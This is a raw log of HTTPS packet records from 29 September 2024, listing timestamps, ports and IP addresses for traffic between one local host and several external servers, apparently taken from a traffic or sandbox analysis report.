Sep 29, 2024 15:45:42.928875923 CEST	49716	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.928906918 CEST	443	49716	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:42.929932117 CEST	443	49716	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:42.930011988 CEST	49716	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.934793949 CEST	49716	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.934825897 CEST	49716	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.934905052 CEST	49716	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.935074091 CEST	443	49716	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:42.935152054 CEST	49716	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.935247898 CEST	49719	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.935281038 CEST	443	49719	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:42.935354948 CEST	49719	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.935765982 CEST	49719	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.935776949 CEST	443	49719	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:42.949109077 CEST	443	49717	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:42.949358940 CEST	49717	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.949381113 CEST	443	49717	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:42.950813055 CEST	443	49717	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:42.950882912 CEST	49717	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.951261997 CEST	49717	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.951319933 CEST	49717	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.951319933 CEST	49717	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.951349020 CEST	443	49717	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:42.951556921 CEST	443	49717	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:42.951606989 CEST	49720	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.951637983 CEST	49717	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.951642990 CEST	443	49720	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:42.951704025 CEST	49720	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.951778889 CEST	49717	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.951915979 CEST	49720	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:42.951931000 CEST	443	49720	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:43.404930115 CEST	443	49719	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:43.405657053 CEST	49719	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:43.405723095 CEST	443	49719	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:43.406764030 CEST	443	49719	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:43.406830072 CEST	49719	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:43.406940937 CEST	443	49720	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:43.409075975 CEST	49720	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:43.409101009 CEST	443	49720	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:43.410094023 CEST	49719	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:43.410170078 CEST	443	49719	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:43.410547972 CEST	443	49720	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:43.410655975 CEST	49720	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:43.411477089 CEST	49720	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:43.411550045 CEST	443	49720	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:43.411616087 CEST	49719	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:43.411643028 CEST	443	49719	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:43.463567972 CEST	49719	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:43.463721991 CEST	49720	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:43.463749886 CEST	443	49720	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:43.508591890 CEST	49720	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:43.539683104 CEST	443	49719	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:43.539761066 CEST	443	49719	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:43.539819956 CEST	49719	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:43.545691967 CEST	49719	443	192.168.2.6	172.67.137.231
Sep 29, 2024 15:45:43.545721054 CEST	443	49719	172.67.137.231	192.168.2.6
Sep 29, 2024 15:45:43.622704029 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:43.622750998 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:43.622840881 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:43.623629093 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:43.623645067 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:44.104595900 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:44.117320061 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:44.117346048 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:44.118424892 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:44.118484020 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:44.128561020 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:44.128638029 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:44.133492947 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:44.133502007 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:44.178597927 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:44.488986015 CEST	49723	443	192.168.2.6	142.250.185.164
Sep 29, 2024 15:45:44.489038944 CEST	443	49723	142.250.185.164	192.168.2.6
Sep 29, 2024 15:45:44.489099979 CEST	49723	443	192.168.2.6	142.250.185.164
Sep 29, 2024 15:45:44.489608049 CEST	49723	443	192.168.2.6	142.250.185.164
Sep 29, 2024 15:45:44.489619970 CEST	443	49723	142.250.185.164	192.168.2.6
Sep 29, 2024 15:45:44.529026031 CEST	443	49705	173.222.162.64	192.168.2.6
Sep 29, 2024 15:45:44.529206038 CEST	49705	443	192.168.2.6	173.222.162.64
Sep 29, 2024 15:45:45.129424095 CEST	443	49723	142.250.185.164	192.168.2.6
Sep 29, 2024 15:45:45.131901979 CEST	49723	443	192.168.2.6	142.250.185.164
Sep 29, 2024 15:45:45.131937981 CEST	443	49723	142.250.185.164	192.168.2.6
Sep 29, 2024 15:45:45.133384943 CEST	443	49723	142.250.185.164	192.168.2.6
Sep 29, 2024 15:45:45.133441925 CEST	49723	443	192.168.2.6	142.250.185.164
Sep 29, 2024 15:45:45.300770998 CEST	49724	443	192.168.2.6	184.28.90.27
Sep 29, 2024 15:45:45.300822020 CEST	443	49724	184.28.90.27	192.168.2.6
Sep 29, 2024 15:45:45.300975084 CEST	49724	443	192.168.2.6	184.28.90.27
Sep 29, 2024 15:45:45.303301096 CEST	49724	443	192.168.2.6	184.28.90.27
Sep 29, 2024 15:45:45.303319931 CEST	443	49724	184.28.90.27	192.168.2.6
Sep 29, 2024 15:45:45.491662979 CEST	49723	443	192.168.2.6	142.250.185.164
Sep 29, 2024 15:45:45.492038012 CEST	443	49723	142.250.185.164	192.168.2.6
Sep 29, 2024 15:45:45.539760113 CEST	49723	443	192.168.2.6	142.250.185.164
Sep 29, 2024 15:45:45.539789915 CEST	443	49723	142.250.185.164	192.168.2.6
Sep 29, 2024 15:45:45.587310076 CEST	49723	443	192.168.2.6	142.250.185.164
Sep 29, 2024 15:45:45.952882051 CEST	443	49724	184.28.90.27	192.168.2.6
Sep 29, 2024 15:45:45.952969074 CEST	49724	443	192.168.2.6	184.28.90.27
Sep 29, 2024 15:45:45.959701061 CEST	49724	443	192.168.2.6	184.28.90.27
Sep 29, 2024 15:45:45.959723949 CEST	443	49724	184.28.90.27	192.168.2.6
Sep 29, 2024 15:45:45.959968090 CEST	443	49724	184.28.90.27	192.168.2.6
Sep 29, 2024 15:45:46.008305073 CEST	49724	443	192.168.2.6	184.28.90.27
Sep 29, 2024 15:45:46.095685005 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.095733881 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.095762014 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.095781088 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.095793009 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.095808983 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.095822096 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.095835924 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.095854998 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.095937014 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.096570969 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.096632957 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.096647024 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.101247072 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.101274967 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.101290941 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.101298094 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.101308107 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.101332903 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.133120060 CEST	49724	443	192.168.2.6	184.28.90.27
Sep 29, 2024 15:45:46.149449110 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.175446033 CEST	443	49724	184.28.90.27	192.168.2.6
Sep 29, 2024 15:45:46.186517000 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.186564922 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.186589003 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.186613083 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.186615944 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.186630964 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.186666012 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.186674118 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.186681032 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.186700106 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.187736034 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.187763929 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.187789917 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.187815905 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.187818050 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.187827110 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.187848091 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.187865973 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.188134909 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.188175917 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.188203096 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.188220978 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.188230038 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.188291073 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.188676119 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.188729048 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.188752890 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.188777924 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.188777924 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.188790083 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.188843012 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.189486027 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.189531088 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.227323055 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.276036978 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.276055098 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.278369904 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.278398991 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.278419971 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.278428078 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.278480053 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.278486967 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.278525114 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.278556108 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.278578997 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.278584957 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.278608084 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.278618097 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.278623104 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.278882980 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.278933048 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.278939962 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.279175997 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.279803991 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.279831886 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.279872894 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.279884100 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.279912949 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.279922009 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.280383110 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.280426025 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.280447960 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.280453920 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.280462980 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.280468941 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.280493021 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.280497074 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.280519962 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.280579090 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.280662060 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.280694008 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.280702114 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.280721903 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.280757904 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.280822992 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.280831099 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.280874014 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.318378925 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.318445921 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.318507910 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.318552971 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.319674969 CEST	443	49724	184.28.90.27	192.168.2.6
Sep 29, 2024 15:45:46.319746971 CEST	443	49724	184.28.90.27	192.168.2.6
Sep 29, 2024 15:45:46.319823027 CEST	49724	443	192.168.2.6	184.28.90.27
Sep 29, 2024 15:45:46.320732117 CEST	49724	443	192.168.2.6	184.28.90.27
Sep 29, 2024 15:45:46.320751905 CEST	443	49724	184.28.90.27	192.168.2.6
Sep 29, 2024 15:45:46.365504980 CEST	49725	443	192.168.2.6	184.28.90.27
Sep 29, 2024 15:45:46.365577936 CEST	443	49725	184.28.90.27	192.168.2.6
Sep 29, 2024 15:45:46.365655899 CEST	49725	443	192.168.2.6	184.28.90.27
Sep 29, 2024 15:45:46.366173029 CEST	49725	443	192.168.2.6	184.28.90.27
Sep 29, 2024 15:45:46.366187096 CEST	443	49725	184.28.90.27	192.168.2.6
Sep 29, 2024 15:45:46.368874073 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.368962049 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.369288921 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.369333029 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.369345903 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.369368076 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.369390965 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.369633913 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.369678020 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.369687080 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.369817019 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.369856119 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.369863033 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.370450974 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.370505095 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.370511055 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.370619059 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.370660067 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.370666981 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.371392012 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.371427059 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.371468067 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.371476889 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.371499062 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.372358084 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.372379065 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.372426033 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.372433901 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.372457981 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.372575045 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.372615099 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.372623920 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.372725010 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.373138905 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.373194933 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.373323917 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.373348951 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.373377085 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.373383999 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.373395920 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.374226093 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.374254942 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.374278069 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.374285936 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.374317884 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.374401093 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.374432087 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.374439955 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.374564886 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.375201941 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.375230074 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.375243902 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.375251055 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.375273943 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.375313997 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.375917912 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.375965118 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.376105070 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.376169920 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.376243114 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.376285076 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.422369957 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.422426939 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.422444105 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.422467947 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.422508955 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.422523022 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.422558069 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.422558069 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.422594070 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.442722082 CEST	49722	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.442745924 CEST	443	49722	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.628815889 CEST	49726	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.628873110 CEST	443	49726	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:46.629043102 CEST	49726	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.629699945 CEST	49726	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:46.629717112 CEST	443	49726	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:47.046056986 CEST	443	49725	184.28.90.27	192.168.2.6
Sep 29, 2024 15:45:47.046161890 CEST	49725	443	192.168.2.6	184.28.90.27
Sep 29, 2024 15:45:47.048554897 CEST	49725	443	192.168.2.6	184.28.90.27
Sep 29, 2024 15:45:47.048568964 CEST	443	49725	184.28.90.27	192.168.2.6
Sep 29, 2024 15:45:47.048819065 CEST	443	49725	184.28.90.27	192.168.2.6
Sep 29, 2024 15:45:47.050154924 CEST	49725	443	192.168.2.6	184.28.90.27
Sep 29, 2024 15:45:47.091409922 CEST	443	49725	184.28.90.27	192.168.2.6
Sep 29, 2024 15:45:47.099209070 CEST	443	49726	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:47.099699020 CEST	49726	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:47.099730015 CEST	443	49726	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:47.100265980 CEST	443	49726	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:47.100724936 CEST	49726	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:47.100800037 CEST	443	49726	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:47.101037025 CEST	49726	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:47.143435955 CEST	443	49726	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:47.327997923 CEST	443	49725	184.28.90.27	192.168.2.6
Sep 29, 2024 15:45:47.328078032 CEST	443	49725	184.28.90.27	192.168.2.6
Sep 29, 2024 15:45:47.328160048 CEST	49725	443	192.168.2.6	184.28.90.27
Sep 29, 2024 15:45:47.481875896 CEST	49725	443	192.168.2.6	184.28.90.27
Sep 29, 2024 15:45:47.481929064 CEST	443	49725	184.28.90.27	192.168.2.6
Sep 29, 2024 15:45:49.048132896 CEST	443	49726	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:49.048188925 CEST	443	49726	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:49.048221111 CEST	443	49726	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:49.048249006 CEST	443	49726	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:49.048261881 CEST	49726	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:49.048286915 CEST	443	49726	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:49.048300982 CEST	49726	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:49.048511028 CEST	443	49726	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:49.048542023 CEST	443	49726	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:49.048587084 CEST	49726	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:49.048595905 CEST	443	49726	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:49.048629045 CEST	443	49726	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:49.048656940 CEST	49726	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:49.048679113 CEST	49726	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:49.051713943 CEST	49726	443	192.168.2.6	104.21.62.177
Sep 29, 2024 15:45:49.051734924 CEST	443	49726	104.21.62.177	192.168.2.6
Sep 29, 2024 15:45:49.057452917 CEST	49730	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:49.057498932 CEST	443	49730	35.190.80.1	192.168.2.6
Sep 29, 2024 15:45:49.057565928 CEST	49730	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:49.057818890 CEST	49730	443	192.168.2.6	35.190.80.1
Sep 29, 2024 15:45:49.057833910 CEST	443	49730	35.190.80.1	192.168.2.6
Sep 29, 2024 15:45:49.086590052 CEST	49731	443	192.168.2.6	40.115.3.253
Sep 29, 2024 15:45:49.086623907 CEST	443	49731	40.115.3.253	192.168.2.6
Sep 29, 2024 15:45:49.086699009 CEST	49731	443	192.168.2.6	40.115.3.253
